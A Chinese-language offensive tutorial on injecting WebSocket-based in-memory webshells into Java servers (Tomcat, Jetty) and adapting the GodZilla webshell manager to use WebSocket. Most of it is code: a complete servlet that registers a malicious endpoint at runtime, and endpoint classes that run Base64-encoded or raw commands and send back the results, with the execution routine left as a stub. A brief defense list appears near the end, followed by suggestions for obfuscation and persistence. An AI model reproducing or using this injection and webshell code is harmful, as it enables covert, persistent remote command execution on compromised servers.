Java内存马篇——WebSocket内存马及GodZilla二开
字数 1296 2025-08-30 06:50:27
WebSocket内存马及GodZilla二开技术详解
1. WebSocket技术基础
1.1 WebSocket概述
- 基于TCP协议的全双工通信协议
- 相比HTTP的单向请求-响应模式,允许客户端和服务器同时发送和接收数据
- 握手阶段仍使用HTTP协议,升级后使用WebSocket协议通信
1.2 内存马注入条件
- 目标中间件需支持JSR356规范
- 适用中间件版本:
- Tomcat 7.0.47+
- Jetty 9.4+
2. WebSocket内存马实现方式
2.1 通过@ServerEndpoint注解实现
@ServerEndpoint("/ws")
public class WebSocketDemo {
@OnOpen
public void onOpen(Session session) {
// 初始化会话资源
}
@OnMessage
public void onMessage(String message, Session session) {
// 处理客户端消息
}
@OnError
public void onError(Throwable error) {
// 错误处理
}
@OnClose
public void onClose(Session session) {
// 资源释放
}
}
2.2 通过继承javax.websocket.Endpoint类实现
public class WebSocketEndpoint extends Endpoint implements MessageHandler.Whole<String> {
@Override
public void onOpen(Session session, EndpointConfig config) {
session.addMessageHandler(this);
}
@Override
public void onMessage(String message) {
// 消息处理逻辑
}
}
3. WebSocket初始化流程
3.1 Tomcat启动流程
standardContext.startInternal方法初始化Web应用- 触发
ServletContainerInitializers初始化 - 调用
ServletContainerInitializer.onStartup()方法
3.2 WebSocket特定流程
- Tomcat jar包中包含
META-INF/services/javax.servlet.ServletContainerInitializer - 内容指向
org.apache.tomcat.websocket.server.WsSci - 容器通过SPI加载
WsSci并调用其onStartup方法 - 初始化WebSocket容器并筛选WebSocket组件
4. WebSocket连接流程
- HTTP请求 → WsFilter判断是否为WebSocket请求
- 发起升级协议(HTTP → WebSocket)
- 建立WebSocket连接
关键判断条件:
this.sc.areEndpointsRegistered():检查WebSocket容器是否有服务端点注册isWebSocketUpgradeRequest():检查是否为WebSocket升级请求
5. 内存马注入技术实现
5.1 构造ServerEndpointConfig实例
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(
WebSocketShell.class, // 恶意Endpoint类
"/ws" // 访问路径
).build();
5.2 获取WsServerContainer
// Tomcat 10以下版本
WsServerContainer container = (WsServerContainer) request.getServletContext()
.getAttribute("javax.websocket.server.ServerContainer");
// Tomcat 10+版本
WsServerContainer container = (WsServerContainer) request.getServletContext()
.getAttribute("jakarta.websocket.server.ServerContainer");
5.3 完整注入代码
public class WebSocketInjector extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
// 获取WebSocket容器
WsServerContainer container = (WsServerContainer) req.getServletContext()
.getAttribute("javax.websocket.server.ServerContainer");
// 构造恶意Endpoint配置
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(
WebSocketShell.class,
"/ws"
).build();
// 注册恶意Endpoint
container.addEndpoint(config);
resp.getWriter().println("WebSocket内存马注入成功");
} catch (Exception e) {
e.printStackTrace();
}
}
}
6. GodZilla二开实现WebSocket支持
6.1 哥斯拉基本逻辑
- 发送一个大马到服务器
- 服务器加载大马到内存
- 使用自定义通信方式与大马交互
6.2 WebSocket通信类实现
public class WebSocketCommunicator {
// 握手过程
public void handshake() {
// 实现握手逻辑
}
// 发送大马
public void sendPayload(String payload) {
// 使用WebSocket发送大马
}
// 接收命令执行结果
public String receiveResult() {
// 接收并处理结果
return result;
}
}
6.3 小马实现示例
Base64类型
@ServerEndpoint("/ws")
public class WebSocketShell {
@OnMessage
public void onMessage(String message, Session session) {
try {
String cmd = new String(Base64.getDecoder().decode(message));
String result = executeCmd(cmd);
session.getBasicRemote().sendText(Base64.getEncoder().encodeToString(result.getBytes()));
} catch (Exception e) {
e.printStackTrace();
}
}
private String executeCmd(String cmd) {
// 命令执行逻辑
}
}
Raw类型
@ServerEndpoint("/ws")
public class WebSocketShell {
@OnMessage
public void onMessage(String message, Session session) {
try {
String result = executeCmd(message);
session.getBasicRemote().sendText(result);
} catch (Exception e) {
e.printStackTrace();
}
}
private String executeCmd(String cmd) {
// 命令执行逻辑
}
}
7. 测试与注意事项
- 注入后访问
/ws路径建立WebSocket连接 - 发送命令并接收执行结果
- 可能存在的延迟问题:
- 确保获取完整基础信息
- 避免部分数据读取导致解析失败
8. 防御措施
- 监控WebSocket端点动态注册
- 检查
WsServerContainer的addEndpoint调用 - 限制WebSocket端点的访问权限
- 定期检查内存中的WebSocket端点
9. 扩展思考
- 结合其他内存马技术实现复合型攻击
- 针对不同中间件的适配实现
- 流量加密与混淆技术
- 持久化机制设计